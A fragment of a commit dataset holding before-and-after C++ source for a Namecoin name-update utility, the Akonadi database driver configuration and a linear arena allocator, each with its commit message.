<< \"Updating \" << nm << \": \";\n      NamecoinInterface::Name name = nc.queryName (nm);\n\n      NameUpdate updater (rpc, nc, name);\n      if (hasVal)\n        updater.setValue (val);\n\n      std::string txid;\n      if (!hasAddr)\n        txid = updater.execute ();\n      else\n        txid = updater.execute (nc.queryAddress (addr));\n\n      std::cout << txid << std::endl;\n    }\n}\n\n\/**\n * Compare names for sorting by expiration date.\n * @param a First name.\n * @param b Second name.\n * @return True iff a expires later than b.\n *\/\nstatic bool\ncompareNames (const NamecoinInterface::Name& a,\n              const NamecoinInterface::Name& b)\n{\n  int diff = a.getExpireCounter () - b.getExpireCounter ();\n  if (diff != 0)\n    return (diff > 0);\n  return a.getName () < b.getName ();\n}\n\n\/* Functor instead of addName lambda if we don't have C++11.  *\/\n#ifndef CXX_11\nclass addNameFunctor\n{\nprivate:\n\n  std::vector<NamecoinInterface::Name>& names;\n\npublic:\n\n  explicit inline\n  addNameFunctor (std::vector<NamecoinInterface::Name>& n)\n    : names(n)\n  {}\n\n  inline void\n  operator() (const NamecoinInterface::Name& nm)\n  {\n    names.push_back (nm);\n  }\n\n};\n#endif \/* !CXX_11  *\/\n\n\/**\n * Main routine with the usual interface.\n *\/\nint\nmain (int argc, char** argv)\n{\n  try\n    {\n      if (argc < 2)\n        {\n          displayHelp ();\n          return EXIT_FAILURE;\n        }\n      const std::string command = argv[1];\n\n      if (command == \"help\")\n        {\n          displayHelp ();\n          return EXIT_SUCCESS;\n        }\n\n      RpcSettings settings;\n      settings.readDefaultConfig ();\n      JsonRpc rpc(settings);\n      NamecoinInterface nc(rpc);\n\n      if (command == \"list\")\n        {\n          std::vector<NamecoinInterface::Name> names;\n\n#ifdef CXX_11\n          const auto addName = [&names] (const NamecoinInterface::Name& nm)\n            {\n              names.push_back (nm);\n            };\n#else \/* CXX_11  *\/\n          addNameFunctor addName(names);\n#endif \/* CXX_11  *\/\n\n          nc.forMyNames (addName);\n\n          std::sort (names.begin (), names.end (), &compareNames);\n\n#ifdef CXX_11\n          for (const auto& el : names)\n#else \/* CXX_11  *\/\n          std::vector<NamecoinInterface::Name>::const_iterator i;\n          for (i = names.begin (); i != names.end (); ++i)\n#endif \/* CXX_11  *\/\n            {\n#ifndef CXX_11\n              const NamecoinInterface::Name& el = *i;\n#endif \/* !CXX_11  *\/\n\n              std::cout.width (30);\n              std::cout << el.getName () << \": \"\n                        << el.getExpireCounter () << std::endl;\n            }\n        }\n      else\n        {\n          std::string passphrase;\n          if (nc.needWalletPassphrase ())\n            {\n              std::cout << \"Enter wallet passphrase: \";\n              std::getline (std::cin, passphrase);\n            }\n          NamecoinInterface::WalletUnlocker unlock(nc);\n          unlock.unlock (passphrase);\n\n          std::vector<std::string> names;\n\n          if (command == \"update\")\n            {\n              if (argc < 3 || argc > 4)\n                throw std::runtime_error (\"Expected: nmupdate update\"\n                                          \" NAME [VAL]\");\n\n              const std::string name = argv[2];\n              std::string val;\n              if (argc == 4)\n                val = argv[3];\n\n              names.push_back (name);\n              performUpdate (rpc, nc, names, argc == 4, val, false, \"\");\n            }\n          else if (command == \"update-multi\")\n            {\n              if (argc < 3 || argc > 4)\n                throw std::runtime_error (\"Expected: nmupdate update-multi\"\n                                          \" FILE [VAL]\");\n\n              const std::string file = argv[2];\n              std::string val;\n              if (argc == 4)\n                val = argv[3];\n\n              readNames (file, names);\n              performUpdate (rpc, nc, names, argc == 4, val, false, \"\");\n            }\n          else if (command == \"send\")\n            {\n              if (argc < 4 || argc > 5)\n                throw std::runtime_error (\"Expected: nmupdate send\"\n                                          \" NAME ADDR [VAL]\");\n\n              const std::string name = argv[2];\n              const std::string addr = argv[3];\n              std::string val;\n              if (argc == 5)\n                val = argv[4];\n\n              names.push_back (name);\n              performUpdate (rpc, nc, names, argc == 5, val, true, addr);\n            }\n          else if (command == \"send-multi\")\n            {\n              if (argc < 4 || argc > 5)\n                throw std::runtime_error (\"Expected: nmupdate send-multi\"\n                                          \" FILE ADDR [VAL]\");\n\n              const std::string file = argv[2];\n              const std::string addr = argv[3];\n              std::string val;\n              if (argc == 5)\n                val = argv[4];\n\n              readNames (file, names);\n              performUpdate (rpc, nc, names, argc == 5, val, true, addr);\n            }\n          else\n            throw std::runtime_error (\"Unknown command '\" + command + \"'.\");\n        }\n    }\n  catch (const JsonRpc::RpcError& exc)\n    {\n      std::cerr << \"JSON-RPC error:\" << std::endl;\n      std::cerr << exc.getErrorMessage () << std::endl;\n      return EXIT_FAILURE;\n    }\n  catch (const std::exception& exc)\n    {\n      std::cerr << \"Error: \" << exc.what () << std::endl;\n      return EXIT_FAILURE;\n    }\n\n  return EXIT_SUCCESS;\n}\n<commit_msg>Show only non-expired names in nmupdate list.<commit_after>\/*  Namecoin RPC library.\n *  Copyright (C) 2013-2014  Daniel Kraft <d@domob.eu>\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as published by\n *  the Free Software Foundation, either version 3 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *  See the distributed file COPYING for additional permissions in addition\n *  to those of the GNU Affero General Public License.\n *\/\n\n\/* Utility program to update names.  *\/\n\n#include \"JsonRpc.hpp\"\n#include \"NamecoinInterface.hpp\"\n#include \"NameRegistration.hpp\"\n\n#include <algorithm>\n#include <cassert>\n#include <cstdlib>\n#include <fstream>\n#include <iostream>\n#include <vector>\n\nusing namespace nmcrpc;\n\n\/**\n * Display the help message.\n *\/\nstatic void\ndisplayHelp ()\n{\n  std::cerr << \"Usage: nmupdate COMMAND [OPTIONS]\"\n            << std::endl << std::endl;\n  std::cerr << \"Possible commands:\" << std::endl;\n  std::cerr << \"  * help: Display this message.\" << std::endl;\n  std::cerr << \"  * list: List owned names and their expirey counter.\"\n            << std::endl;\n  std::cerr << \"  * update NAME [VAL]: Update NAME to VAL (or existing value).\"\n            << std::endl;\n  std::cerr << \"  * send NAME ADDR [VAL]: Update NAME and send to ADDR.\"\n            << std::endl;\n  std::cerr << \"  * update-multi FILE [VAL]: Update all names in FILE\"\n            << std::endl\n            << \"                             to VAL or\"\n            << \" their current value.\" << std::endl;\n  std::cerr << \"  * send-multi FILE ADDR [VAL]: Send all names in FILE to ADDR.\"\n            << std::endl;\n}\n\n\/**\n * Read file into list of names.\n * @param fileName Name of file to read in.\n * @param names Store names here.\n * @throws std::runtime_error if reading fails.\n *\/\nstatic void\nreadNames (const std::string& fileName, std::vector<std::string>& names)\n{\n  std::ifstream in (fileName.c_str ());\n  if (!in)\n    throw std::runtime_error (\"Could not read list of names.\");\n\n  while (in)\n    {\n      std::string line;\n      std::getline (in, line);\n\n      if (!line.empty ())\n        names.push_back (line);\n    }\n}\n\n\/**\n * Perform a name update operation on an array of names.\n * @param rpc Json RPC connection.\n * @param nc Namecoin high-level interface.\n * @param names Array of names to update.\n * @param hasVal Whether to set the value or leave it.\n * @param val The value, is ignored if !hasVal.\n * @param hasAddr Whether to send to a specified address.\n * @param addr Target address, ignored if !hasAddr.\n *\/\nstatic void\nperformUpdate (JsonRpc& rpc, NamecoinInterface& nc,\n               const std::vector<std::string>& names,\n               bool hasVal, const std::string& val,\n               bool hasAddr, const std::string& addr)\n{\n#ifdef CXX_11\n  for (const auto& nm : names)\n#else \/* CXX_11  *\/\n  for (std::vector<std::string>::const_iterator i = names.begin ();\n       i != names.end (); ++i)\n#endif \/* CXX_11  *\/\n    {\n#ifndef CXX_11\n      const std::string& nm = *i;\n#endif \/* !CXX_11  *\/\n\n      std::cout << \"Updating \" << nm << \": \";\n      NamecoinInterface::Name name = nc.queryName (nm);\n\n      NameUpdate updater (rpc, nc, name);\n      if (hasVal)\n        updater.setValue (val);\n\n      std::string txid;\n      if (!hasAddr)\n        txid = updater.execute ();\n      else\n        txid = updater.execute (nc.queryAddress (addr));\n\n      std::cout << txid << std::endl;\n    }\n}\n\n\/**\n * Compare names for sorting by expiration date.\n * @param a First name.\n * @param b Second name.\n * @return True iff a expires later than b.\n *\/\nstatic bool\ncompareNames (const NamecoinInterface::Name& a,\n              const NamecoinInterface::Name& b)\n{\n  int diff = a.getExpireCounter () - b.getExpireCounter ();\n  if (diff != 0)\n    return (diff > 0);\n  return a.getName () < b.getName ();\n}\n\n\/* Functor instead of addName lambda if we don't have C++11.  *\/\n#ifndef CXX_11\nclass addNameFunctor\n{\nprivate:\n\n  std::vector<NamecoinInterface::Name>& names;\n\npublic:\n\n  explicit inline\n  addNameFunctor (std::vector<NamecoinInterface::Name>& n)\n    : names(n)\n  {}\n\n  inline void\n  operator() (const NamecoinInterface::Name& nm)\n  {\n    names.push_back (nm);\n  }\n\n};\n#endif \/* !CXX_11  *\/\n\n\/**\n * Main routine with the usual interface.\n *\/\nint\nmain (int argc, char** argv)\n{\n  try\n    {\n      if (argc < 2)\n        {\n          displayHelp ();\n          return EXIT_FAILURE;\n        }\n      const std::string command = argv[1];\n\n      if (command == \"help\")\n        {\n          displayHelp ();\n          return EXIT_SUCCESS;\n        }\n\n      RpcSettings settings;\n      settings.readDefaultConfig ();\n      JsonRpc rpc(settings);\n      NamecoinInterface nc(rpc);\n\n      if (command == \"list\")\n        {\n          std::vector<NamecoinInterface::Name> names;\n\n#ifdef CXX_11\n          const auto addName = [&names] (const NamecoinInterface::Name& nm)\n            {\n              names.push_back (nm);\n            };\n#else \/* CXX_11  *\/\n          addNameFunctor addName(names);\n#endif \/* CXX_11  *\/\n\n          nc.forMyNames (addName);\n\n          std::sort (names.begin (), names.end (), &compareNames);\n\n#ifdef CXX_11\n          for (const auto& el : names)\n#else \/* CXX_11  *\/\n          std::vector<NamecoinInterface::Name>::const_iterator i;\n          for (i = names.begin (); i != names.end (); ++i)\n#endif \/* CXX_11  *\/\n            {\n#ifndef CXX_11\n              const NamecoinInterface::Name& el = *i;\n#endif \/* !CXX_11  *\/\n\n              std::cout.width (30);\n              if (!el.isExpired ())\n                std::cout << el.getName () << \": \"\n                          << el.getExpireCounter () << std::endl;\n            }\n        }\n      else\n        {\n          std::string passphrase;\n          if (nc.needWalletPassphrase ())\n            {\n              std::cout << \"Enter wallet passphrase: \";\n              std::getline (std::cin, passphrase);\n            }\n          NamecoinInterface::WalletUnlocker unlock(nc);\n          unlock.unlock (passphrase);\n\n          std::vector<std::string> names;\n\n          if (command == \"update\")\n            {\n              if (argc < 3 || argc > 4)\n                throw std::runtime_error (\"Expected: nmupdate update\"\n                                          \" NAME [VAL]\");\n\n              const std::string name = argv[2];\n              std::string val;\n              if (argc == 4)\n                val = argv[3];\n\n              names.push_back (name);\n              performUpdate (rpc, nc, names, argc == 4, val, false, \"\");\n            }\n          else if (command == \"update-multi\")\n            {\n              if (argc < 3 || argc > 4)\n                throw std::runtime_error (\"Expected: nmupdate update-multi\"\n                                          \" FILE [VAL]\");\n\n              const std::string file = argv[2];\n              std::string val;\n              if (argc == 4)\n                val = argv[3];\n\n              readNames (file, names);\n              performUpdate (rpc, nc, names, argc == 4, val, false, \"\");\n            }\n          else if (command == \"send\")\n            {\n              if (argc < 4 || argc > 5)\n                throw std::runtime_error (\"Expected: nmupdate send\"\n                                          \" NAME ADDR [VAL]\");\n\n              const std::string name = argv[2];\n              const std::string addr = argv[3];\n              std::string val;\n              if (argc == 5)\n                val = argv[4];\n\n              names.push_back (name);\n              performUpdate (rpc, nc, names, argc == 5, val, true, addr);\n            }\n          else if (command == \"send-multi\")\n            {\n              if (argc < 4 || argc > 5)\n                throw std::runtime_error (\"Expected: nmupdate send-multi\"\n                                          \" FILE ADDR [VAL]\");\n\n              const std::string file = argv[2];\n              const std::string addr = argv[3];\n              std::string val;\n              if (argc == 5)\n                val = argv[4];\n\n              readNames (file, names);\n              performUpdate (rpc, nc, names, argc == 5, val, true, addr);\n            }\n          else\n            throw std::runtime_error (\"Unknown command '\" + command + \"'.\");\n        }\n    }\n  catch (const JsonRpc::RpcError& exc)\n    {\n      std::cerr << \"JSON-RPC error:\" << std::endl;\n      std::cerr << exc.getErrorMessage () << std::endl;\n      return EXIT_FAILURE;\n    }\n  catch (const std::exception& exc)\n    {\n      std::cerr << \"Error: \" << exc.what () << std::endl;\n      return EXIT_FAILURE;\n    }\n\n  return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    Copyright (c) 2010 Tobias Koenig <tokoe@kde.org>\n\n    This library is free software; you can redistribute it and\/or modify it\n    under the terms of the GNU Library General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or (at your\n    option) any later version.\n\n    This library is distributed in the hope that it will be useful, but WITHOUT\n    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Library General Public\n    License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to the\n    Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n    02110-1301, USA.\n*\/\n\n#include \"dbconfig.h\"\n\n#include \"dbconfigmysql.h\"\n#include \"dbconfigmysqlembedded.h\"\n#include \"dbconfigpostgresql.h\"\n#include \"dbconfigsqlite.h\"\n#include \"dbconfigvirtuoso.h\"\n\n#include <akdebug.h>\n#include <libs\/xdgbasedirs_p.h>\n\nusing namespace Akonadi;\n\n\/\/TODO: make me Q_GLOBAL_STATIC\nstatic DbConfig *s_DbConfigInstance = 0;\n\nDbConfig::DbConfig()\n{\n  const QString serverConfigFile = XdgBaseDirs::akonadiServerConfigFile( XdgBaseDirs::ReadWrite );\n  QSettings settings( serverConfigFile, QSettings::IniFormat );\n\n  mSizeThreshold = 4096;\n  const QVariant value = settings.value( QLatin1String( \"General\/SizeThreshold\" ), mSizeThreshold );\n  if ( value.canConvert<qint64>() )\n    mSizeThreshold = value.value<qint64>();\n  else\n    mSizeThreshold = 0;\n\n  if ( mSizeThreshold < 0 )\n    mSizeThreshold = 0;\n\n  mUseExternalPayloadFile = true;\n  mUseExternalPayloadFile = settings.value( QLatin1String( \"General\/ExternalPayload\" ), mUseExternalPayloadFile ).toBool();\n}\n\nDbConfig::~DbConfig()\n{\n}\n\nDbConfig* DbConfig::configuredDatabase()\n{\n  if ( !s_DbConfigInstance ) {\n    const QString serverConfigFile = XdgBaseDirs::akonadiServerConfigFile( XdgBaseDirs::ReadWrite );\n    QSettings settings( serverConfigFile, QSettings::IniFormat );\n\n    \/\/ determine driver to use\n    const QString defaultDriver = QLatin1String( \"QMYSQL\" );\n    QString driverName = settings.value( QLatin1String( \"General\/Driver\" ), defaultDriver ).toString();\n    if ( driverName.isEmpty() )\n      driverName = defaultDriver;\n\n    if ( driverName == QLatin1String( \"QMYSQL\" ) )\n      s_DbConfigInstance = new DbConfigMysql;\n    else if ( driverName == QLatin1String( \"QMYSQL_EMBEDDED\" ) )\n      s_DbConfigInstance = new DbConfigMysqlEmbedded;\n    else if ( driverName == QLatin1String( \"QSQLITE\" ) )\n      s_DbConfigInstance = new DbConfigSqlite( DbConfigSqlite::Default );\n    else if ( driverName == QLatin1String( \"QSQLITE3\" ) )\n      s_DbConfigInstance = new DbConfigSqlite( DbConfigSqlite::Custom );\n    else if ( driverName == QLatin1String( \"QPSQL\" ) )\n      s_DbConfigInstance = new DbConfigPostgresql;\n    else if ( driverName == QLatin1String( \"QODBC\" ) )\n      s_DbConfigInstance = new DbConfigVirtuoso;\n    else {\n      akError() << \"Unknown database driver: \" << driverName;\n      akError() << \"Available drivers are: \" << QSqlDatabase::drivers();\n      akFatal();\n    }\n  }\n\n  return s_DbConfigInstance;\n}\n\nvoid DbConfig::startInternalServer()\n{\n  \/\/ do nothing\n}\n\nvoid DbConfig::stopInternalServer()\n{\n  \/\/ do nothing\n}\n\nqint64 DbConfig::sizeThreshold() const\n{\n  return mSizeThreshold;\n}\n\nbool DbConfig::useExternalPayloadFile() const\n{\n  return mUseExternalPayloadFile;\n}\n<commit_msg>Use QSQLITE3 as the default driver on Windows CE<commit_after>\/*\n    Copyright (c) 2010 Tobias Koenig <tokoe@kde.org>\n\n    This library is free software; you can redistribute it and\/or modify it\n    under the terms of the GNU Library General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or (at your\n    option) any later version.\n\n    This library is distributed in the hope that it will be useful, but WITHOUT\n    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Library General Public\n    License for more details.\n\n    You should have received a copy of the GNU Library General Public License\n    along with this library; see the file COPYING.LIB.  If not, write to the\n    Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n    02110-1301, USA.\n*\/\n\n#include \"dbconfig.h\"\n\n#include \"dbconfigmysql.h\"\n#include \"dbconfigmysqlembedded.h\"\n#include \"dbconfigpostgresql.h\"\n#include \"dbconfigsqlite.h\"\n#include \"dbconfigvirtuoso.h\"\n\n#include <akdebug.h>\n#include <libs\/xdgbasedirs_p.h>\n\nusing namespace Akonadi;\n\n\/\/TODO: make me Q_GLOBAL_STATIC\nstatic DbConfig *s_DbConfigInstance = 0;\n\nDbConfig::DbConfig()\n{\n  const QString serverConfigFile = XdgBaseDirs::akonadiServerConfigFile( XdgBaseDirs::ReadWrite );\n  QSettings settings( serverConfigFile, QSettings::IniFormat );\n\n  mSizeThreshold = 4096;\n  const QVariant value = settings.value( QLatin1String( \"General\/SizeThreshold\" ), mSizeThreshold );\n  if ( value.canConvert<qint64>() )\n    mSizeThreshold = value.value<qint64>();\n  else\n    mSizeThreshold = 0;\n\n  if ( mSizeThreshold < 0 )\n    mSizeThreshold = 0;\n\n  mUseExternalPayloadFile = true;\n  mUseExternalPayloadFile = settings.value( QLatin1String( \"General\/ExternalPayload\" ), mUseExternalPayloadFile ).toBool();\n}\n\nDbConfig::~DbConfig()\n{\n}\n\nDbConfig* DbConfig::configuredDatabase()\n{\n  if ( !s_DbConfigInstance ) {\n    const QString serverConfigFile = XdgBaseDirs::akonadiServerConfigFile( XdgBaseDirs::ReadWrite );\n    QSettings settings( serverConfigFile, QSettings::IniFormat );\n\n    \/\/ determine driver to use\n#ifdef _WIN32_WCE\n    \/\/ On Windows CE QSQLITE3 is the default driver for Akonadi\n    const QString defaultDirver = QLatin1String( \"QSQLITE3\" );\n#else\n    const QString defaultDriver = QLatin1String( \"QMYSQL\" );\n#endif\n    QString driverName = settings.value( QLatin1String( \"General\/Driver\" ), defaultDriver ).toString();\n    if ( driverName.isEmpty() )\n      driverName = defaultDriver;\n\n    if ( driverName == QLatin1String( \"QMYSQL\" ) )\n      s_DbConfigInstance = new DbConfigMysql;\n    else if ( driverName == QLatin1String( \"QMYSQL_EMBEDDED\" ) )\n      s_DbConfigInstance = new DbConfigMysqlEmbedded;\n    else if ( driverName == QLatin1String( \"QSQLITE\" ) )\n      s_DbConfigInstance = new DbConfigSqlite( DbConfigSqlite::Default );\n    else if ( driverName == QLatin1String( \"QSQLITE3\" ) )\n      s_DbConfigInstance = new DbConfigSqlite( DbConfigSqlite::Custom );\n    else if ( driverName == QLatin1String( \"QPSQL\" ) )\n      s_DbConfigInstance = new DbConfigPostgresql;\n    else if ( driverName == QLatin1String( \"QODBC\" ) )\n      s_DbConfigInstance = new DbConfigVirtuoso;\n    else {\n      akError() << \"Unknown database driver: \" << driverName;\n      akError() << \"Available drivers are: \" << QSqlDatabase::drivers();\n      akFatal();\n    }\n  }\n\n  return s_DbConfigInstance;\n}\n\nvoid DbConfig::startInternalServer()\n{\n  \/\/ do nothing\n}\n\nvoid DbConfig::stopInternalServer()\n{\n  \/\/ do nothing\n}\n\nqint64 DbConfig::sizeThreshold() const\n{\n  return mSizeThreshold;\n}\n\nbool DbConfig::useExternalPayloadFile() const\n{\n  return mUseExternalPayloadFile;\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef _SDD_MEM_LINEAR_ALLOC_HH_\n#define _SDD_MEM_LINEAR_ALLOC_HH_\n\n#include <cassert>\n#include <cstddef>\n#include <memory>\n\nnamespace sdd { namespace mem {\n\n\/*------------------------------------------------------------------------------------------------*\/\n\nnamespace {\n\n\/\/\/ @internal\nstruct arena\n{\n  using position_type = char*;\n\n  const std::size_t size_;\n  std::unique_ptr<char> buffer_;\n  position_type position_;\n\n  arena(std::size_t size)\n  noexcept\n    : size_(size)\n    , buffer_(new char[size_])\n    , position_(buffer_.get())\n  {}\n\n  ~arena()\n  {\n    assert(used() == 0 && \"Memory arena not rewound.\");\n  }\n\n  \/\/ Can't copy an arena.\n  arena(const arena&) = delete;\n  arena& operator=(const arena&) = delete;\n\n  char*\n  allocate(std::size_t n)\n  {\n    assert(pointer_in_buffer(position_) && \"linear_alloc has outlived arena\");\n    if (buffer_.get() + size_ - position_ >= n)\n    {\n      char* r = position_;\n      position_ += n;\n      return r;\n    }\n    \/\/ Not enough room in the buffer, fallback to default allocator.\n    return static_cast<char*>(::operator new(n));\n  }\n\n  void\n  deallocate(char* p, std::size_t n)\n  noexcept\n  {\n    assert(pointer_in_buffer(position_) && \"linear_alloc has outlived arena\");\n    if (pointer_in_buffer(p))\n    {\n      if (p + n == position_) \/\/ The memory pointed by p was the last allocated one.\n      {\n        position_ = p;\n      }\n    }\n    else\n    {\n      \/\/ The memory pointer by p was no allocated in this arena.\n      ::operator delete(p);\n    }\n  }\n\n  std::size_t\n  used()\n  const noexcept\n  {\n    return static_cast<std::size_t>(position_ - buffer_.get());\n  }\n\n  void\n  rewind(position_type pos)\n  noexcept\n  {\n    assert(pointer_in_buffer(pos));\n    position_ = pos;\n  }\n\n  position_type\n  position()\n  const noexcept\n  {\n    return position_;\n  }\n\n  bool\n  pointer_in_buffer(char* p)\n  const noexcept\n  {\n    return buffer_.get() <= p and p <= buffer_.get() + size_;\n  }\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Rewind an arena to its initial position.\n\/\/\/\n\/\/\/ Use RAII to ensure that the arena is always rewound to its initial position .\nstruct rewinder\n{\n  \/\/\/ @brief The associated memory arena.\n  arena& a_;\n\n  \/\/\/ @brief The position where to rewind the associated arena.\n  const arena::position_type pos_;\n\n  \/\/\/ @brief Constructor.\n  \/\/\/\n  \/\/\/ Initialize the position to the current position of the arena.\n  rewinder(arena& a)\n  noexcept\n    : a_(a), pos_(a.position())\n  {}\n\n  \/\/\/ @brief Destructor.\n  \/\/\/\n  \/\/\/ Rewind the arena to its position when this object was constructed;\n  ~rewinder()\n  {\n    a_.rewind(pos_);\n  }\n\n  \/\/ Can't copy a rewinder.\n  rewinder(const rewinder&) = delete;\n  rewinder& operator=(const rewinder&) = delete;\n\n  \/\/ Can't move a rewinder.\n  rewinder(rewinder&&) = delete;\n  rewinder& operator=(rewinder&&) = delete;\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n} \/\/ namespace anonymous\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Allocate memory contiguously in a preallocated buffer.\n\/\/\/\n\/\/\/ Memory is allocated by moving a pointer in the buffer. Only the memory which was the last\n\/\/\/ one thas was allocated can be deallocated. Thus, this allocator would mostly benefit to\n\/\/\/ recursive algorithms which need a stack. \n\/\/\/ It's an adaptation of http:\/\/home.roadrunner.com\/~hinnant\/stack_alloc.html .\ntemplate <class T>\nstruct linear_alloc\n{\n  using value_type = T;\n\n  arena& a_;\n\n  template <class _Up>\n  struct rebind\n  {\n    using other = linear_alloc<_Up>;\n  };\n\n  linear_alloc(arena& a)\n  noexcept\n    : a_(a)\n  {}\n\n  template <class U>\n  linear_alloc(const linear_alloc<U>& other)\n  noexcept\n    : a_(other.a_)\n  {}\n\n  linear_alloc(const linear_alloc&) = default;\n  linear_alloc& operator=(const linear_alloc&) = delete;\n\n  T*\n  allocate(std::size_t n)\n  const\n  {\n    return reinterpret_cast<T*>(a_.allocate(n*sizeof(T)));\n  }\n\n  void\n  deallocate(T* p, std::size_t n)\n  const noexcept\n  {\n    a_.deallocate(reinterpret_cast<char*>(p), n*sizeof(T));\n  }\n\n  template <class U, class V>\n  friend\n  bool\n  operator==(const linear_alloc<U>& lhs, const linear_alloc<V>& rhs)\n  noexcept\n  {\n    return &lhs.a_ == &rhs.a_;\n  }\n\n  template <class U> friend struct linear_alloc;\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n}} \/\/ namespace sdd::mem\n\n#endif \/\/ _SDD_MEM_LINEAR_ALLOC_HH_\n<commit_msg>Refine the assertion made at the arena's end of life.<commit_after>#ifndef _SDD_MEM_LINEAR_ALLOC_HH_\n#define _SDD_MEM_LINEAR_ALLOC_HH_\n\n#include <cassert>\n#include <cstddef>\n#include <memory>\n\nnamespace sdd { namespace mem {\n\n\/*------------------------------------------------------------------------------------------------*\/\n\nnamespace {\n\n\/\/\/ @internal\n\/\/\/ @brief A memory arena for linear_alloc.\n\/\/\/\n\/\/\/ Everything is private in this class: this arena can only be manipulated with a rewinder and\n\/\/\/ a linear_alloc.\nstruct arena\n{\n  \/\/ Can't copy an arena.\n  arena(const arena&) = delete;\n  arena& operator=(const arena&) = delete;\n\n  using position_type = char*;\n\n  \/\/\/ @brief The size of this memory arena.\n  const std::size_t size_;\n\n  \/\/\/ @brief The underlying memory buffer.\n  std::unique_ptr<char> buffer_;\n\n  \/\/\/ @brief The beginning of the free memory.\n  position_type position_;\n\n#ifndef NDEBUG\n  \/\/\/ @brief The number of time this arena has been used with a rewinder.\n  unsigned int active_;\n\n  \/\/\/ @brief The number of allocated bytes when this arena wasn't referenced by any rewinder.\n  std::size_t unactive_allocated_;\n#endif\n\n  \/\/\/ @brief Construct an arena with a given size.\n  arena(std::size_t size)\n  noexcept\n    : size_(size)\n    , buffer_(new char[size_])\n    , position_(buffer_.get())\n#ifndef NDEBUG\n    , active_(0)\n    , unactive_allocated_(0)\n#endif\n  {}\n\n#ifndef NDEBUG\n  ~arena()\n  {\n    \/\/ We admit that some bytes can never be deallocated. As a matter of fact, it would be very\n    \/\/ complex to keep track of the memory allocated when no rewinder is used. For instance,\n    \/\/ when the user creates a sum, the underlying container uses the linear allocator, but without\n    \/\/ a rewinder. This is why we keep a trace of the number of rewinders with active_.\n    assert(used() == unactive_allocated_ && \"Memory arena not rewound.\");\n  }\n#endif\n\n  char*\n  allocate(std::size_t n)\n  {\n    assert(pointer_in_buffer(position_) && \"linear_alloc has outlived arena\");\n    if (buffer_.get() + size_ - position_ >= n)\n    {\n#ifndef NDEBUG\n      if (active_ == 0)\n      {\n        unactive_allocated_ += n;\n      }\n#endif\n      char* r = position_;\n      position_ += n;\n      return r;\n    }\n    \/\/ Not enough room in the buffer, fallback to the default allocator.\n    return static_cast<char*>(::operator new(n));\n  }\n\n  void\n  deallocate(char* p, std::size_t n)\n  noexcept\n  {\n    assert(pointer_in_buffer(position_) && \"linear_alloc has outlived arena\");\n    if (pointer_in_buffer(p))\n    {\n      if (p + n == position_) \/\/ The memory pointed by p was the last allocated one.\n      {\n#ifndef NDEBUG\n        if (active_ == 0)\n        {\n          unactive_allocated_ -= n;\n        }\n#endif\n        position_ = p;\n      }\n    }\n    else\n    {\n      \/\/ The memory pointed by p was no allocated in this arena.\n      ::operator delete(p);\n    }\n  }\n\n  void\n  rewind(position_type pos)\n  noexcept\n  {\n    assert(pointer_in_buffer(pos));\n    position_ = pos;\n  }\n\n  position_type\n  position()\n  const noexcept\n  {\n    return position_;\n  }\n\n  bool\n  pointer_in_buffer(char* p)\n  const noexcept\n  {\n    return buffer_.get() <= p and p <= buffer_.get() + size_;\n  }\n\n#ifndef NDEBUG\n  std::size_t\n  used()\n  const noexcept\n  {\n    return static_cast<std::size_t>(position_ - buffer_.get());\n  }\n\n  void\n  activate()\n  noexcept\n  {\n    active_ += 1;\n  }\n\n  void\n  deactivate()\n  noexcept\n  {\n    active_ -= 1;\n  }\n#endif\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Rewind an arena to its initial position.\n\/\/\/\n\/\/\/ Use RAII to ensure that the arena is always rewound to its initial position .\nclass rewinder\n{\n  \/\/ Can't copy a rewinder.\n  rewinder(const rewinder&) = delete;\n  rewinder& operator=(const rewinder&) = delete;\n\n  \/\/ Can't move a rewinder.\n  rewinder(rewinder&&) = delete;\n  rewinder& operator=(rewinder&&) = delete;\n\nprivate:\n\n  \/\/\/ @brief The associated memory arena.\n  arena& a_;\n\n  \/\/\/ @brief The position where to rewind the associated arena.\n  const arena::position_type pos_;\n\npublic:\n\n  \/\/\/ @brief Constructor.\n  \/\/\/\n  \/\/\/ Initialize the position to the current position of the arena.\n  rewinder(arena& a)\n  noexcept\n    : a_(a), pos_(a.position())\n  {\n#ifndef NDEBUG\n    a_.activate();\n#endif\n  }\n\n  \/\/\/ @brief Destructor.\n  \/\/\/\n  \/\/\/ Rewind the arena to its position when this object was constructed;\n  ~rewinder()\n  {\n    a_.rewind(pos_);\n#ifndef NDEBUG\n    a_.deactivate();\n#endif\n  }\n};\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n} \/\/ namespace anonymous\n\n\/*------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ @internal\n\/\/\/ @brief Allocate memory contiguously in a preallocated buffer.\n\/\/\/\n\/\/\/ Memory is allocated by moving a pointer in the buffer. Only the memory which was the last\n\/\/\/ one thas was allocated can be deallocated. Thus, this allocator would mostly benefit to\n\/\/\/ recursive algorithms which need a stack. \n\/\/\/ It's an adaptation of 